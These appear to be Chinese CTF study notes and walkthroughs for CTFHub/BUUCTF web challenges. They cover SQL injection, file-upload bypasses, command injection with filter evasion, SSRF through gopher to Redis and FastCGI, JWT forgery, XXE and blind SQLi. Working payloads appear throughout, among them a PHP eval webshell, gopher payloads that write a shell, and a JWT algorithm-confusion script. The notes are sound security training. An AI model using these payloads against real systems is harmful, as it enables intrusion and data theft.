ctfSQL注入:
(1)整数型(2)字符型(报错回显-》数据库名-》表名-》列名-》数据)
1、1 and 1=1
2、1 and 1=2
3、1 order by 2
4、-1 union select 1,2
5、-1 union select 1,database();
6、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)
7、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)
8、-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)
9、-1 union select 1,(select flag from sqli.flag limit 0,1)
(3)报错注入:
报错都是基于Xpath语法错误回显
方法一:(updatexml)
1、爆出数据库名
1 and updatexml(1,concat(0x7e,database(),0x7e),1)
2、爆出表名
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e),1)
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1),0x7e),1)
3、爆出列名
1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1),0x7e),1)
4、爆出字段
可以看出,字段是不完整的,因此需要采用right函数
1 and updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)
5、right函数爆出剩余字段
1 and updatexml(1,concat(0x7e,right((select group_concat(flag) from flag),10),0x7e),1)
6、将最终得到的两个字段进行拼接得到完整的flag
文件上传
.htaccess(就是限制文件上传类型,需要在.htaccess中添加文件后缀等规则从而绕过):
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
1、上传.htaccess文件
就是上传jpg后缀的文件时,将其文件内容以php的形式执行
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
2、上传shell.jpg后门文件,用蚁剑连接
<?php @eval($_POST['shell']);?>
找到flag文件
MIME绕过(限制文件后缀,需要抓包修改Content-Type)
1、上传1.jpg文件,抓包
修改Content-Type值改为:image/jpg
2、蚁剑连接
文件头检测
1、抓包修改文件Content-Type为image/jpg,在文件内容首部添加 GIF89a 表示是一个GIF89a图形文件
2、用蚁剑连接
解释:GIF89a是jpg文件头,89a是针对87a的升级版本,相比于后者增加了一些额外的控制块更加精确的控制GIF播放。现在常见的GIF图都是89a,下面将使用一张10x10的gif来理解GIF的图像格式
RCE
2、文件包含
可判断存在文件包含
思路:php代码中strpos函数是查找一个字符串在另一个字符串中首次出现的位置,首先接收file变量,判断file中是否含有flag并对结果取反,分析可知file=shell.txt,点shell,需要接收一个ctfhub变量
最终格式是?file=shell.txt&ctfhub=system("cat /flag");
shell.txt文件内容
/ 表示根目录
命令注入
ping 命令可以测一下与主机网络联通情况。但是如果过滤不严的话,也会导致恶意命令执行。
可以用管道符 来执行我们想执行的命令。
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
思路:
查看当前目录的文件,发现有一个可疑文件123413266510791.php
127.0.0.1 | system("ls")
查看该文件的内容发现页面回显为空,右键查看源代码得到flag
127.0.0.1 | system("cat 123413266510791.php")
php://input
思路:首先给file变量赋值,如果file变量的前6位是“php://”,那么就是执行文件包含,php://input协议的是post请求方式,配合firefox进行一系列操作拿到flag
php函数substr是实现字符串的截取
远程包含
利用php://input协议实现文件包含
读取源代码
思路:看代码得知flag in /flag,所以利用php://filter协议实现文件读取
?file=php://filter/read=convert.base64-encode/resouce=/flag 结果需要进行base64解码
过滤空格
空格被代替后,可以用以下代替空格
执行127.0.0.1|ls
执行127.0.0.1|cat<flag_4609317631735.php
右键源代码,拿到flag
过滤目录分隔符
用 ; 来拼接
执行127.0.0.1;ls
执行127.0.0.1;cd flag_is_here;ls
执行127.0.0.1;cd flag_is_here;cat flag_105221382628953.php
右键源代码,拿到flag
过滤运算符
思路:分析得,过滤了 | & 所以采用分步执行
127.0.0.1;ls
127.0.0.1;ls
127.0.0.1;cat flag_138902733630243.php
右键源代码
综合过滤练习
思路:经分析得,过滤了 '|' '&' ' ' 'cat' 'flag' 'ctfhub' '/' '\'
空格可以用${IFS}代替 $*在shell命令执行下为空 语句之间得连接符可用%20(换行)代替
?127.0.0.1%0als
?ip=127.0.0.1%0als${IFS}fla$*g_is_here
?ip=127.0.0.1%0acd${IFS}fla$*g_is_here%0amore${IFS}fla$*g_319651124627868.php
拿下flag
SSRF
内网访问
直接构造payload
伪协议
一般linux服务器的web目录是/var/www/html
利用file协议构造payload
右键源代码
端口扫描
dict伪协议(用于web探针扫描)
用bp爆破8000-9000端口
?url=http://127.0.0.1:8417 拿下flag
POST请求
推荐文章:
Gopher协议在SSRF漏洞中的深入研究(附视频讲解) - 知乎 (zhihu.com)
利用gopher协议
构造 Gopher协议所需的 POST请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=
构造py脚本
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=0831f6f0917ea7579fca0abda2590292
"""
#注意后面一定要有回车,回车结尾表示http请求结束。Content-Length是key=e01fdff5c126356cb64cf2436f8c7704的长度
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D0831f6f0917ea7579fca0abda2590292%250D%250A
文件上传
提交,提示来源限制为127.0.0.1
那么抓取当前数据包,修改Host为127.0.0.1
继续利用gopher协议,脚本实现
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://challenge-fce3ccfd7c83253b.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------287052094412752
Content-Length: 342
-----------------------------287052094412752
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST["shell"]);?>
-----------------------------287052094412752
Content-Disposition: form-data; name="aaa"
鎻愪氦鏌ヨ
-----------------------------287052094412752--
"""
#注意payload的最后一行是回车(空行),表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
new2 = urllib.parse.quote(new)
result = 'gopher://127.0.0.1:80/_'+new2
print(result) # 这里因为是GET请求所以要进行两次url编码
拿到payload
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520WOW64%253B%2520rv%253A52.0%2529%2520Gecko/20100101%2520Firefox/52.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Cen-US%253Bq%253D0.5%252Cen%253Bq%253D0.3%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AReferer%253A%2520http%253A//challenge-fce3ccfd7c83253b.sandbox.ctfhub.com%253A10800/%253Furl%253Dfile%253A///var/www/html/flag.php%250D%250ADNT%253A%25201%250D%250AConnection%253A%2520close%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------287052094412752%250D%250AContent-Length%253A%2520342%250D%250A%250D%250A-----------------------------287052094412752%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522shell.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2522shell%2522%255D%2529%253B%253F%253E%250D%250A-----------------------------287052094412752%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522aaa%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250D%250A-----------------------------287052094412752--%250D%250A%250D%250A
FastCGI协议
附件:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_2023-07-12t06:55:02z {'remote_addr': '127.0.0.1', -优快云博客
利用工具:gopherus.py(python2环境)
脚本可以对SSRF漏洞进行利用,可以直接生成 payload造成远程代码执行RCE或getShell
利用脚本对payload进行二次编码
import urllib.parse
payload = "gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH94%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5E%04%00%3C%3Fphp%20system%28%27cat%20/flag_768057c8eb3ea807f65cb5c57abb2217%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00"
new_payload = urllib.parse.quote(payload)
print(new_payload)
利用工具执行ls发现index.php
利用工具执行ls / 查看根目录发现flag文件
利用工具查看flag文件拿到flag
Redis协议
思路:利用工具 gopherus.py 上传一个shell,然后用蚁剑连接
依旧利用脚本进行二次加密
import urllib.parse
payload = "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27shell%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
new_payload = urllib.parse.quote(payload)
print(new_payload)
构造url的payload,虽然504超时报错,但是无影响
蚁剑连接shell
URL Bypass
由于访问任何页面都会跳转到http://notfount.ctfhub.com这个页面,因此可以利用@的主域名解析
格式为http://www.xxx.com@www.yyy.com的形式
构造payload为?url=http://notfount.ctfhub.com@127.0.0.1/flag.php
数字IP Bypass
根据题目,过滤了’127‘,’172‘,’.‘
直接访问http://127.0.0.1/flag.php看看效果
因此我们可以用localhost代替127.0.0.1
构造payload为http://localhost/flag.php
302跳转 Bypass
但是本题考的是302重定向绕过
推荐短链接变换网站:网之映短网址-短链接生成_防拦截_自定义跳转方式_自定义域名_数据统计_API接口_强大的营销工具 (52dwz.cn)
构造payload为?url=http://in8.ink/4n4hF
DNS重绑定 Bypass
附件:浅谈DNS重绑定漏洞 - 知乎 (zhihu.com)
本题仍可以用?url=http://localhost/flag.php拿下flag
但是换一种思路
DNS重绑定推荐:rbndr.us dns rebinding service (cmpxchg8b.com)
WEB进阶
JWT
JWT基本知识:JWT基础知识 (wolai.com)
对JWT进行加解密要将每段分开,然后合并
敏感信息泄露
用户密码admin抓包
对token进行base64解码
无密钥
用户密码admin登录
bp抓包
将每段拆开,header中设置alg为none(表示无密钥),claims(声明)中设置role为admin
注意即使没有signature,也要带最后的点 ' . '
弱密钥
bp抓包
利用工具 c-jwt-cracker,爆破发现密钥为kqxb
拿下flag
修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
网站源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemo</title>
<link rel="stylesheet" href="/static/style.css" />
</head>
<body>
<main id="content">
<header>Web Login</header>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
</form>
<a href="/publickey.pem">publickey.pem</a>
</main>
<?php echo $_COOKIE['token'];?>
<hr/>
</body>
</html>
<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
?>
利用脚本
# coding=GBK
import hmac
import hashlib
import base64
file = open('C:\\Users\\威\\Desktop\\publickey.pem')#需要将文中的publickey下载 与脚本同目录
key = file.read()
# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)
bp抓包
CTFHub_2021-津门杯-Web-hate_php(通配符绕过正则匹配)
代码审计后,发现对输入code进行了正则表达式匹配,过滤了英文大小写字母、数字和_$@三个特殊字符。
构造payload
/?code=?><?=`/???/???%20/????`?>
BUUCTF--[CSAWQual 2019]Web_Unagi
进入页面后看到一个Upload
因此需要上传xml文件,利用xxe漏洞实现文件读取
但是直接上传,提示WAF,因此采用我们要通过XXE编码转换成utf-16编码绕过
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>&xxe;</username>
<password>&xxe;</password>
<name>&xxe;</name>
<email>&xxe;</email>
<group>&xxe;</group>
<intro>&xxe;</intro>
</user>
</users>
拿下flag
WebsiteManger
思路:首先,登录界面继续爆破(存在sql注入,可用sqlmap跑),登录后是SSRF,利用file伪协议进行探针flag
可用py脚本继续跑
import requests
import string
charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase
def r(s):
s = s.replace(" ", "/**/")
return s
sql = r("select concat(id,username,password) from users")
result = ""
for i in range(1,50):
for c in charset:
cc = ord(c)
domain = "http://challenge-0a0ddad583c2a466.sandbox.ctfhub.com:10800/"
url = f"{domain}/image.php?id=-1/**/or/**/(ascii(mid(({sql}),{i},1))={cc})"
r = requests.get(url)
if len(r.text) > 1024:
result += c
print(result)
break
web进阶-linux动态加载器